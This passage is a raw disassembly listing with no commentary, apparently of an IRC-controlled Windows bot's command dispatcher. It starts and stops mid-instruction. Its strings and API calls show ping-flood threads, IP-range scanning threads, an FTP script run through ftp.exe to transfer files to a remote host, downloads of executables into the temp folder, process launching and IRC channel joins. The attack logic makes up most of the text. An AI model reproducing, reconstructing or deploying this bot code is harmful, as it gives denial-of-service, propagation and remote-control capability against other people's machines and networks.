[ebp+var_9C] push [ebp+arg_4] loc_409018: ; CODE XREF: sub_4077FD+1BC5j ; sub_4077FD+2355j call sub_404555 add esp, 14h jmp loc_40AC9D ; --------------------------------------------------------------------------- loc_409025: ; CODE XREF: sub_4077FD+17E7j call dword_41805C ; GetTickCount push eax call sub_40CB55 pop ecx call sub_40CB5F push 9 cdq pop ecx idiv ecx push edx call sub_40CB5F push 63h cdq pop ecx idiv ecx push edx call sub_40CB5F cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_3E8] push edx push eax lea eax, [ebp+var_6AC] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_40C6C3 lea eax, [ebp+var_6AC] push offset aAb ; "ab" push eax call sub_40DDC8 mov esi, eax add esp, 20h cmp esi, ebx jz loc_407C50 push edi push [ebp+arg_8] push [ebp+arg_0] push [ebp+arg_18] push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push esi call sub_40EA81 push esi call sub_40D9CA lea eax, [ebp+var_6AC] push eax lea eax, [ebp+var_7AC] push offset aSS_4 ; "-s:%s" push eax call sub_40C6C3 add esp, 2Ch lea eax, [ebp+var_7AC] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_42D7F8 push [ebp+arg_10] test eax, eax push edi jz short loc_4090F0 push offset dword_41F294 jmp short loc_4090F5 ; --------------------------------------------------------------------------- loc_4090F0: ; CODE XREF: sub_4077FD+18EAj push offset dword_41F264 loc_4090F5: ; CODE XREF: sub_4077FD+18F1j call sub_40C6C3 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40911E push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_40911E: ; CODE XREF: sub_4077FD+1903j lea eax, [ebp+var_2E4] push eax call sub_403145 jmp short loc_409138 ; --------------------------------------------------------------------------- loc_40912C: ; CODE XREF: sub_4077FD+194Ej lea eax, [ebp+var_6AC] push eax call sub_40EA57 loc_409138: ; CODE XREF: sub_4077FD+192Dj lea eax, [ebp+var_6AC] push 4 push eax call sub_4037EA add esp, 0Ch test eax, eax jnz short loc_40912C jmp loc_407C50 ; --------------------------------------------------------------------------- loc_409152: ; CODE XREF: sub_4077FD+1787j ; sub_4077FD+179Cj ... cmp dword_42D960, ebx mov esi, [ebp+arg_4] jnz loc_409265 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_2EC], eax mov eax, [ebp+var_4] mov [ebp+var_2F0], eax lea eax, [ebp+var_384] push eax call sub_40C720 push [ebp+arg_18] call sub_40D9BF push [ebp+arg_0] mov [ebp+var_304], eax call sub_40D9BF push [ebp+arg_8] mov [ebp+var_300], eax call sub_40D9BF push 7Fh mov [ebp+var_2FC], eax push [ebp+var_9C] lea eax, [ebp+var_404] push eax call sub_40C720 push [ebp+var_2FC] lea eax, [ebp+var_384] mov [ebp+var_408], esi push [ebp+var_300] push eax lea eax, [ebp+var_2E4] push [ebp+var_304] push offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "... push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push 0Dh push eax call sub_40C062 add esp, 48h mov [ebp+var_2F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_408] push ebx push eax push offset sub_405985 push ebx push ebx call dword_418048 ; CreateThread mov ecx, [ebp+var_2F4] imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz short loc_40925B call dword_418044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2E4] push offset aPingFailedToSt ; "[PING]: Failed to start flood thread, e"... push eax call sub_40C6C3 jmp short loc_40927B ; --------------------------------------------------------------------------- loc_409253: ; CODE XREF: sub_4077FD+1A64j push 32h call dword_418040 ; Sleep loc_40925B: ; CODE XREF: sub_4077FD+1A3Aj cmp [ebp+var_2E8], ebx jz short loc_409253 jmp short loc_40927E ; --------------------------------------------------------------------------- loc_409265: ; CODE XREF: sub_4077FD+195Ej push 1FFh lea eax, [ebp+var_2E4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_40C720 loc_40927B: ; CODE XREF: sub_4077FD+1A54j add esp, 0Ch loc_40927E: ; CODE XREF: sub_4077FD+1A66j cmp [ebp+var_8], ebx jnz loc_40AC9D push ebx push [ebp+var_4] jmp loc_409B44 ; --------------------------------------------------------------------------- loc_409290: ; CODE XREF: sub_4077FD+1748j ; sub_4077FD+175Dj ... mov eax, [ebp+var_8] mov esi, [ebp+var_4] push 7Fh mov [ebp+var_2EC], eax push [ebp+arg_10] lea eax, [ebp+var_384] mov [ebp+var_2F0], esi push eax call sub_40C720 push [ebp+arg_18] call sub_40D9BF push [ebp+arg_0] mov [ebp+var_304], eax call sub_40D9BF push [ebp+arg_8] mov [ebp+var_300], eax call sub_40D9BF mov edi, [ebp+edi+var_90] add esp, 18h cmp edi, ebx mov [ebp+var_2FC], eax jz short loc_4092FA push edi call sub_40D9BF pop ecx mov [ebp+var_2F8], eax jmp short loc_409300 ; --------------------------------------------------------------------------- loc_4092FA: ; CODE XREF: sub_4077FD+1AECj mov [ebp+var_2F8], ebx loc_409300: ; CODE XREF: sub_4077FD+1AFBj push 7Fh lea eax, [ebp+var_404] push [ebp+var_9C] push eax call sub_40C720 push [ebp+var_2FC] mov edi, [ebp+arg_4] lea eax, [ebp+var_384] mov [ebp+var_408], edi push [ebp+var_300] push eax lea eax, [ebp+var_2E4] push [ebp+var_304] push offset dword_41F188 push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push 0Eh push eax call sub_40C062 add esp, 30h mov [ebp+var_2F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_408] push ebx push eax push offset sub_405B11 push ebx push ebx call dword_418048 ; CreateThread mov ecx, [ebp+var_2F4] imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz short loc_4093CF call dword_418044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2E4] push offset dword_41F14C push eax call sub_40C6C3 add esp, 0Ch loc_4093A9: ; CODE XREF: sub_4077FD+1BDAj cmp [ebp+var_8], ebx jnz loc_40AC9D push ebx lea eax, [ebp+var_2E4] push esi push eax push [ebp+var_9C] push edi jmp loc_409018 ; --------------------------------------------------------------------------- loc_4093C7: ; CODE XREF: sub_4077FD+1BD8j push 32h call dword_418040 ; Sleep loc_4093CF: ; CODE XREF: sub_4077FD+1B8Fj cmp [ebp+var_2E8], ebx jz short loc_4093C7 jmp short loc_4093A9 ; --------------------------------------------------------------------------- loc_4093D9: ; CODE XREF: sub_4077FD+171Ej ; sub_4077FD+1733j push 7 call sub_40C2A4 push [ebp+arg_18] mov esi, eax call sub_40D9BF add eax, esi pop ecx cmp eax, 258h pop ecx jle short loc_40941D push esi lea eax, [ebp+var_2E4] push offset unk_41F10C push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] jmp loc_40A08D ; --------------------------------------------------------------------------- loc_40941D: ; CODE XREF: sub_4077FD+1BF6j push [ebp+arg_10] call sub_40D9BF push [ebp+arg_18] mov [ebp+var_31C], eax call sub_40D9BF push [ebp+arg_0] mov [ebp+var_304], eax call sub_40D9BF add esp, 0Ch cmp eax, 3 mov [ebp+var_318], eax jnb short loc_409458 push 3 pop eax mov [ebp+var_318], eax loc_409458: ; CODE XREF: sub_4077FD+1C50j push 0Ah pop ecx cmp eax, ecx jbe short loc_409465 mov [ebp+var_318], ecx loc_409465: ; CODE XREF: sub_4077FD+1C60j push [ebp+arg_8] call sub_40D9BF mov [ebp+var_314], eax mov eax, 3E7h cmp [ebp+var_314], eax pop ecx jbe short loc_409487 mov [ebp+var_314], eax loc_409487: ; CODE XREF: sub_4077FD+1C82j or [ebp+var_300], 0FFFFFFFFh cmp dword_41A068, ebx mov [ebp+arg_8], ebx jz short loc_4094D6 mov esi, offset dword_41A068 loc_40949E: ; CODE XREF: sub_4077FD+1CBBj push [ebp+arg_10] lea eax, [esi-28h] push eax call sub_40D860 pop ecx test eax, eax pop ecx jz short loc_4094BC inc [ebp+arg_8] add esi, 3Ch cmp [esi], ebx jnz short loc_40949E jmp short loc_4094D6 ; --------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_4077FD+1CB1j mov eax, [ebp+arg_8] mov ecx, eax mov [ebp+var_300], eax imul ecx, 3Ch mov ecx, dword_41A068[ecx] mov [ebp+var_31C], ecx loc_4094D6: ; CODE XREF: sub_4077FD+1C9Aj ; sub_4077FD+1CBDj cmp [ebp+var_31C], ebx jnz short loc_4094E8 push offset unk_41F0D4 jmp loc_40A4F9 ; --------------------------------------------------------------------------- loc_4094E8: ; CODE XREF: sub_4077FD+1CDFj mov esi, [ebp+edi+var_90] cmp esi, ebx mov [ebp+arg_18], esi jz short loc_409526 cmp byte ptr [esi], 23h jz short loc_409526 push esi lea eax, [ebp+var_430] push 10h push eax call sub_40D3F7 push 78h push esi call sub_40E610 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_2F0], eax jmp loc_4095FA ; --------------------------------------------------------------------------- loc_409526: ; CODE XREF: sub_4077FD+1CF7j ; sub_4077FD+1CFCj cmp [ebp+var_8CF], bl jnz short loc_409548 cmp [ebp+var_8CE], bl jnz short loc_409548 cmp [ebp+var_8BE], bl jnz short loc_409548 push offset unk_41F09C jmp loc_40A4F9 ; --------------------------------------------------------------------------- loc_409548: ; CODE XREF: sub_4077FD+1D2Fj ; sub_4077FD+1D37j ... push 10h lea eax, [ebp+arg_0] pop esi push eax lea eax, [ebp+var_D8] push eax mov [ebp+arg_0], esi push [ebp+arg_4] call dword_42D820 ; getsockname mov al, [ebp+var_8CF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_D4], eax push [ebp+var_D4] call dword_42D900 ; inet_ntoa push eax lea eax, [ebp+var_430] push eax call sub_40C720 add esp, 0Ch cmp [ebp+var_8BE], bl jz short loc_4095F4 xor eax, eax cmp [ebp+var_8CF], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_430] push eax call sub_40EA30 pop ecx cmp esi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_4095E8 loc_4095C6: ; CODE XREF: sub_4077FD+1DE9j cmp eax, ebx jz short loc_4095E8 mov byte ptr [eax], 78h lea eax, [ebp+var_430] push 30h push eax call sub_40EA30 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_4095C6 loc_4095E8: ; CODE XREF: sub_4077FD+1DC7j ; sub_4077FD+1DCBj mov [ebp+var_2F0], 1 jmp short loc_4095FA ; --------------------------------------------------------------------------- loc_4095F4: ; CODE XREF: sub_4077FD+1DA1j mov [ebp+var_2F0], ebx loc_4095FA: ; CODE XREF: sub_4077FD+1D24j ; sub_4077FD+1DF5j mov eax, [ebp+arg_4] push [ebp+var_9C] mov [ebp+var_320], eax mov eax, [ebp+var_4] mov [ebp+var_2F8], eax mov eax, [ebp+var_8] mov [ebp+var_2F4], eax mov esi, 80h lea eax, [ebp+var_420] push esi push eax call sub_40D3F7 mov edi, [ebp+edi+var_8C] add esp, 0Ch cmp edi, ebx jz short loc_40964E loc_40963B: ; CODE XREF: sub_4077FD+1E74j push edi loc_40963C: ; CODE XREF: sub_4077FD+1E5Ej lea eax, [ebp+var_3A0] push esi push eax call sub_40D3F7 add esp, 0Ch jmp short loc_409679 ; --------------------------------------------------------------------------- loc_40964E: ; CODE XREF: sub_4077FD+1E3Cj mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40965D cmp byte ptr [eax], 23h jnz short loc_40965D push eax jmp short loc_40963C ; --------------------------------------------------------------------------- loc_40965D: ; CODE XREF: sub_4077FD+1E56j ; sub_4077FD+1E5Bj mov edi, offset aPrv_1 ; "#prv##" push offset byte_4242F0 push edi call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_40963B mov [ebp+var_3A0], bl loc_409679: ; CODE XREF: sub_4077FD+1E4Fj cmp [ebp+var_2F0], ebx mov eax, offset aRandom ; "Random" jnz short loc_40968B mov eax, offset aSequential ; "Sequential" loc_40968B: ; CODE XREF: sub_4077FD+1E87j push [ebp+var_304] lea ecx, [ebp+var_430] push [ebp+var_314] push [ebp+var_318] push [ebp+var_31C] push ecx push eax lea eax, [ebp+var_2E4] push offset unk_41F020 push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push 7 push eax call sub_40C062 add esp, 2Ch mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_430] push ebx push eax push offset sub_401704 push ebx push ebx call dword_418048 ; CreateThread mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz short loc_40971C call dword_418044 ; RtlGetLastWin32Error push eax push offset unk_41EFE8 jmp loc_408FEC ; --------------------------------------------------------------------------- loc_409714: ; CODE XREF: sub_4077FD+1F25j push 32h call dword_418040 ; Sleep loc_40971C: ; CODE XREF: sub_4077FD+1F04j cmp [ebp+var_2EC], ebx jz short loc_409714 jmp loc_408FFB ; --------------------------------------------------------------------------- loc_409729: ; CODE XREF: sub_4077FD+16E2j ; sub_4077FD+16F7j push [ebp+arg_10] call dword_42D8B4 ; inet_addr push [ebp+arg_18] mov [ebp+var_6C4], eax call sub_40D9BF push [ebp+arg_0] mov [ebp+var_6D0], eax call sub_40D9BF mov esi, [ebp+arg_4] push 7Fh push [ebp+var_9C] mov [ebp+var_6CC], eax lea eax, [ebp+var_750] mov [ebp+var_754], esi push eax call sub_40C720 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_6BC], edi push [ebp+var_6CC] mov [ebp+var_6B8], eax push [ebp+var_6D0] push [ebp+var_6C4] call dword_42D900 ; inet_ntoa push eax lea eax, [ebp+var_2E4] push offset unk_41EFAC push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push 7 push eax call sub_40C062 add esp, 20h mov [ebp+var_6C8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_754] push ebx push eax push offset sub_4068AE push ebx push ebx call dword_418048 ; CreateThread mov ecx, [ebp+var_6C8] imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz short loc_409810 call dword_418044 ; RtlGetLastWin32Error push eax push offset unk_41EFE8 jmp loc_409B2A ; --------------------------------------------------------------------------- loc_409808: ; CODE XREF: sub_4077FD+2019j push 32h call dword_418040 ; Sleep loc_409810: ; CODE XREF: sub_4077FD+1FF8j cmp [ebp+var_6B4], ebx jz short loc_409808 jmp loc_409B39 ; --------------------------------------------------------------------------- loc_40981D: ; CODE XREF: sub_4077FD+16B8j ; sub_4077FD+16CDj push [ebp+arg_10] call sub_40D9BF push 7Fh mov [ebp+var_300], eax push [ebp+arg_18] lea eax, [ebp+var_404] push eax call sub_40C720 push [ebp+arg_0] call sub_40D9BF push [ebp+var_9C] mov esi, [ebp+arg_4] mov [ebp+var_304], eax lea eax, [ebp+var_384] push 80h push eax mov [ebp+var_40C], esi call sub_40D3F7 mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_2F0], eax push [ebp+var_304] lea eax, [ebp+var_404] mov [ebp+var_2F4], edi push eax push [ebp+var_300] push esi call sub_4058DC pop ecx push eax lea eax, [ebp+var_2E4] push offset unk_41EF6C push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push 0Fh push eax call sub_40C062 add esp, 24h mov [ebp+var_2FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_406055 push ebx push ebx call dword_418048 ; CreateThread mov ecx, [ebp+var_2FC] imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz short loc_40990B call dword_418044 ; RtlGetLastWin32Error push eax push offset unk_41EF28 jmp loc_409B2A ; --------------------------------------------------------------------------- loc_409903: ; CODE XREF: sub_4077FD+2114j push 32h call dword_418040 ; Sleep loc_40990B: ; CODE XREF: sub_4077FD+20F3j cmp [ebp+var_2EC], ebx jz short loc_409903 jmp loc_409B39 ; --------------------------------------------------------------------------- loc_409918: ; CODE XREF: sub_4077FD+168Ej ; sub_4077FD+16A3j mov esi, 0FFh lea eax, [ebp+var_508] push esi push [ebp+arg_10] push eax call sub_40C720 push esi lea eax, [ebp+var_408] push [ebp+arg_18] push eax call sub_40C720 push [ebp+arg_0] mov [ebp+var_304], ebx call sub_40D9BF mov [ebp+var_300], eax mov eax, [ebp+edi+var_94] add esp, 1Ch cmp eax, ebx jz short loc_409973 push 10h push ebx push eax call sub_40E2CB add esp, 0Ch mov [ebp+var_2F8], eax jmp short loc_409979 ; --------------------------------------------------------------------------- loc_409973: ; CODE XREF: sub_4077FD+2160j mov [ebp+var_2F8], ebx loc_409979: ; CODE XREF: sub_4077FD+2174j mov edi, [ebp+edi+var_90] cmp edi, ebx jz short loc_409993 push edi call sub_40D9BF pop ecx mov [ebp+var_2FC], eax jmp short loc_409999 ; --------------------------------------------------------------------------- loc_409993: ; CODE XREF: sub_4077FD+2185j mov [ebp+var_2FC], ebx loc_409999: ; CODE XREF: sub_4077FD+2194j movzx eax, [ebp+var_8CB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_9C] mov [ebp+var_2F4], eax lea eax, [ebp+var_588] mov [ebp+var_58C], esi push eax call sub_40C720 push [ebp+arg_18] mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov [ebp+var_2F0], eax push [ebp+arg_10] lea eax, [ebp+var_2E4] mov [ebp+var_2EC], edi push offset unk_41EEF8 push eax call sub_40C6C3 push esi lea eax, [ebp+var_2E4] push 14h push eax call sub_40C062 add esp, 28h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_58C] push ebx push eax push offset sub_4032EE push ebx push ebx call dword_418048 ; CreateThread mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz short loc_409A4C call dword_418044 ; RtlGetLastWin32Error push eax push offset unk_41EEB8 jmp loc_409B2A ; --------------------------------------------------------------------------- loc_409A44: ; CODE XREF: sub_4077FD+2255j push 32h call dword_418040 ; Sleep loc_409A4C: ; CODE XREF: sub_4077FD+2234j cmp [ebp+var_2E8], ebx jz short loc_409A44 jmp loc_409B39 ; --------------------------------------------------------------------------- loc_409A59: ; CODE XREF: sub_4077FD+1664j ; sub_4077FD+1679j push 7Fh lea eax, [ebp+var_4F4] pop esi push esi push [ebp+arg_10] push eax call sub_40C720 push esi lea eax, [ebp+var_474] push [ebp+arg_18] push eax call sub_40C720 push esi lea eax, [ebp+var_3F4] push [ebp+arg_0] push eax call sub_40C720 push esi lea eax, [ebp+var_374] push [ebp+var_9C] push eax call sub_40C720 push [ebp+arg_0] mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_2EC], eax lea eax, [ebp+var_2E4] mov [ebp+var_2F0], edi push [ebp+arg_10] mov [ebp+var_4F8], esi push offset dword_41EE88 push eax call sub_40C6C3 add esp, 44h lea eax, [ebp+var_2E4] push ebx push 0Ah push eax call sub_40C062 add esp, 0Ch mov [ebp+var_2F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F8] push ebx push eax push offset sub_40B359 push ebx push ebx call dword_418048 ; CreateThread mov ecx, [ebp+var_2F4] imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz short loc_409B5F call dword_418044 ; RtlGetLastWin32Error push eax push offset dword_41EE50 loc_409B2A: ; CODE XREF: sub_4077FD+2006j ; sub_4077FD+2101j ... lea eax, [ebp+var_2E4] push eax call sub_40C6C3 add esp, 0Ch loc_409B39: ; CODE XREF: sub_4077FD+201Bj ; sub_4077FD+2116j ... cmp [ebp+var_8], ebx jnz loc_40AC9D push ebx push edi loc_409B44: ; CODE XREF: sub_4077FD+1A8Ej lea eax, [ebp+var_2E4] push eax push [ebp+var_9C] push esi jmp loc_409018 ; --------------------------------------------------------------------------- loc_409B57: ; CODE XREF: sub_4077FD+2368j push 32h call dword_418040 ; Sleep loc_409B5F: ; CODE XREF: sub_4077FD+231Fj cmp [ebp+var_2E8], ebx jz short loc_409B57 jmp short loc_409B39 ; --------------------------------------------------------------------------- loc_409B69: ; CODE XREF: sub_4077FD+1628j ; sub_4077FD+163Dj push [ebp+arg_18] push [ebp+arg_10] call dword_4180FC ; MoveFileA test eax, eax jz short loc_409B9A push [ebp+arg_18] lea eax, [ebp+var_2E4] push [ebp+arg_10] push offset unk_41EE28 push 200h push eax call sub_40D3F7 add esp, 14h jmp short loc_409BB9 ; --------------------------------------------------------------------------- loc_409B9A: ; CODE XREF: sub_4077FD+237Aj push offset dword_41EE18 call sub_40530E push eax lea eax, [ebp+var_2E4] push 200h push eax call sub_40D3F7 add esp, 10h loc_409BB9: ; CODE XREF: sub_4077FD+239Bj ; sub_4077FD+2C84j ... cmp [ebp+var_8], ebx jnz short loc_409BDA push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_409BDA: ; CODE XREF: sub_4077FD+F2Dj ; sub_4077FD+23BFj ... xor esi, esi inc esi loc_409BDD: ; CODE XREF: sub_4077FD+2B64j ; sub_4077FD+2BA1j ... lea eax, [ebp+var_2E4] push eax call sub_403145 pop ecx loc_409BEA: ; CODE XREF: sub_4077FD+1C3j ; sub_4077FD+1DFj ... mov eax, esi jmp loc_407C53 ; --------------------------------------------------------------------------- loc_409BF1: ; CODE XREF: sub_4077FD+15FEj ; sub_4077FD+1613j push 44h lea eax, [ebp+var_5EC] pop esi push esi push ebx push eax call sub_40CC40 push [ebp+arg_10] xor edi, edi inc edi mov [ebp+var_5EC], esi mov [ebp+var_5C0], edi mov word ptr [ebp+var_5BC], bx call sub_40D9BF add esp, 10h cmp eax, edi jnz short loc_409C30 mov word ptr [ebp+var_5BC], 5 loc_409C30: ; CODE XREF: sub_4077FD+2428j cmp [ebp+var_C], ebx jz loc_40A33D push [ebp+arg_18] push [ebp+var_C] call sub_40E4B0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40A33D lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_5EC] push eax push ebx push ebx push 28h push edi push ebx push ebx push esi push ebx call dword_418078 ; CreateProcessA test eax, eax lea eax, [ebp+var_2E4] jnz short loc_409C89 push offset unk_41EDF0 loc_409C7C: ; CODE XREF: sub_4077FD+2C5Bj push eax call sub_40C6C3 pop ecx pop ecx jmp loc_40A33D ; --------------------------------------------------------------------------- loc_409C89: ; CODE XREF: sub_4077FD+2478j push esi push offset dword_41EDD4 loc_409C8F: ; CODE XREF: sub_4077FD+3897j push eax call sub_40C6C3 loc_409C95: ; CODE XREF: sub_4077FD+32ADj add esp, 0Ch jmp loc_40A33D ; --------------------------------------------------------------------------- loc_409C9D: ; CODE XREF: sub_4077FD+15D4j ; sub_4077FD+15E9j push [ebp+arg_18] push offset aKtsFinal ; "KTS-Final" call sub_40D860 mov esi, [ebp+arg_4] pop ecx test eax, eax pop ecx jz loc_409E1D lea eax, [ebp+var_7B0] push eax push 104h call dword_4180C4 ; GetTempPathA push 0FFh lea eax, [ebp+var_508] push [ebp+arg_10] push eax call sub_40C720 lea eax, [ebp+var_E4] push eax call sub_40649F push eax lea eax, [ebp+var_7B0] push eax lea eax, [ebp+var_408] push offset aSS_exe ; "%s%s.exe" push eax call sub_40C6C3 mov eax, [ebp+edi+var_98] add esp, 20h cmp eax, ebx mov [ebp+var_304], 1 mov [ebp+var_300], ebx jz short loc_409D34 push 10h push ebx push eax call sub_40E2CB add esp, 0Ch mov [ebp+var_2F8], eax jmp short loc_409D3A ; --------------------------------------------------------------------------- loc_409D34: ; CODE XREF: sub_4077FD+2521j mov [ebp+var_2F8], ebx loc_409D3A: ; CODE XREF: sub_4077FD+2535j mov edi, [ebp+edi+var_94] cmp edi, ebx jz short loc_409D54 push edi call sub_40D9BF pop ecx mov [ebp+var_2FC], eax jmp short loc_409D5A ; --------------------------------------------------------------------------- loc_409D54: ; CODE XREF: sub_4077FD+2546j mov [ebp+var_2FC], ebx loc_409D5A: ; CODE XREF: sub_4077FD+2555j movzx eax, [ebp+var_8CB] push 7Fh mov [ebp+var_2F4], eax push [ebp+var_9C] lea eax, [ebp+var_588] mov [ebp+var_58C], esi push eax call sub_40C720 mov eax, [ebp+var_4] push [ebp+arg_10] mov [ebp+var_2EC], eax mov eax, [ebp+var_8] mov [ebp+var_2F0], eax lea eax, [ebp+var_2E4] push offset unk_41ED98 push eax call sub_40C6C3 push esi lea eax, [ebp+var_2E4] push 15h push eax call sub_40C062 add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_58C] push ebx push eax push offset sub_4032EE push ebx push ebx call dword_418048 ; CreateThread mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz short loc_409E13 call dword_418044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2E4] push offset unk_41ED58 push eax call sub_40C6C3 add esp, 0Ch jmp short loc_409E30 ; --------------------------------------------------------------------------- loc_409E0B: ; CODE XREF: sub_4077FD+261Cj push 32h call dword_418040 ; Sleep loc_409E13: ; CODE XREF: sub_4077FD+25EFj cmp [ebp+var_2E8], ebx jz short loc_409E0B jmp short loc_409E30 ; --------------------------------------------------------------------------- loc_409E1D: ; CODE XREF: sub_4077FD+24B4j lea eax, [ebp+var_2E4] push offset unk_41ED10 push eax call sub_40C6C3 pop ecx pop ecx loc_409E30: ; CODE XREF: sub_4077FD+260Cj ; sub_4077FD+261Ej cmp [ebp+var_8], ebx jnz loc_40A35E push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push esi jmp loc_40A356 ; --------------------------------------------------------------------------- loc_409E50: ; CODE XREF: sub_4077FD+15AAj ; sub_4077FD+15BFj push [ebp+var_A0] push offset dword_41F85C call sub_40D860 pop ecx test eax, eax pop ecx jz loc_407C50 cmp [ebp+var_C], ebx jz loc_407C50 push [ebp+arg_18] push [ebp+var_C] call sub_40E4B0 push eax lea eax, [ebp+var_2E4] push [ebp+var_9C] push [ebp+var_A0] push [ebp+var_A4] push offset dword_41ECFC push eax call sub_40C6C3 lea eax, [ebp+var_2E4] push 1FFh push eax push [ebp+arg_0] call sub_40C720 push [ebp+arg_10] call sub_40D9BF add esp, 30h test eax, eax jle short loc_409EDB push [ebp+arg_10] call sub_40D9BF imul eax, 3E8h pop ecx push eax call dword_418040 ; Sleep loc_409EDB: ; CODE XREF: sub_4077FD+26C6j mov eax, [ebp+arg_24] inc eax jmp loc_407C53 ; --------------------------------------------------------------------------- loc_409EE4: ; CODE XREF: sub_4077FD+1580j ; sub_4077FD+1595j push [ebp+var_A0] push offset dword_41F85C call sub_40D860 pop ecx test eax, eax pop ecx jz loc_407C50 cmp [ebp+var_C], ebx jz loc_40B19B mov edi, [ebp+arg_18] push edi push [ebp+var_C] call sub_40E4B0 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_40D860 add esp, 10h test eax, eax push esi lea eax, [ebp+var_2E4] jz short loc_409FA2 push [ebp+var_9C] push [ebp+var_A0] push [ebp+var_A4] push offset dword_41ECFC push eax call sub_40C6C3 lea eax, [ebp+var_2E4] push 1FFh push eax push [ebp+arg_0] call sub_40C720 push esi lea eax, [ebp+var_2E4] push offset dword_41ECE0 push eax call sub_40C6C3 lea eax, [ebp+var_2E4] push eax call sub_403145 push [ebp+arg_10] call sub_40D9BF add esp, 38h test eax, eax jle loc_40B19B push [ebp+arg_10] call sub_40D9BF add eax, [ebp+arg_24] pop ecx jmp loc_407C53 ; --------------------------------------------------------------------------- loc_409FA2: ; CODE XREF: sub_4077FD+2730j push offset unk_41ECA8 jmp loc_40A286 ; --------------------------------------------------------------------------- loc_409FAC: ; CODE XREF: sub_4077FD+1556j ; sub_4077FD+156Bj cmp [ebp+var_C], ebx jz loc_40B19B push [ebp+arg_10] push [ebp+var_C] call sub_40E4B0 pop ecx cmp eax, ebx pop ecx jz loc_40B19B push eax push offset dword_41EC9C loc_409FD0: ; CODE XREF: sub_4077FD+2DB1j ; sub_4077FD+2DBEj ... push [ebp+arg_4] call sub_40450F jmp loc_40AF41 ; --------------------------------------------------------------------------- loc_409FDD: ; CODE XREF: sub_4077FD+152Cj ; sub_4077FD+1541j push [ebp+var_A0] push offset dword_41F85C call sub_40D860 pop ecx test eax, eax pop ecx jz loc_407C50 push [ebp+arg_18] push offset dword_41EC90 push [ebp+arg_4] call sub_40450F push [ebp+arg_10] call sub_40D9BF imul eax, 3E8h add esp, 10h push eax call dword_418040 ; Sleep push [ebp+edi+var_98] push [ebp+arg_18] loc_40A029: ; CODE XREF: sub_4077FD+2DCDj push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40450F jmp loc_40AA53 ; --------------------------------------------------------------------------- loc_40A03B: ; CODE XREF: sub_4077FD+1502j ; sub_4077FD+1517j cmp [ebp+var_C], ebx jz loc_40B19B push [ebp+arg_10] call sub_40CBC0 push esi mov edi, eax call sub_40CBC0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+2] push eax call sub_40E4B0 add esp, 10h cmp eax, ebx jz loc_40B19B push eax lea eax, [ebp+var_2E4] push offset dword_41EC84 push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push ebx push eax push [ebp+arg_10] loc_40A08D: ; CODE XREF: sub_4077FD+1C1Bj push 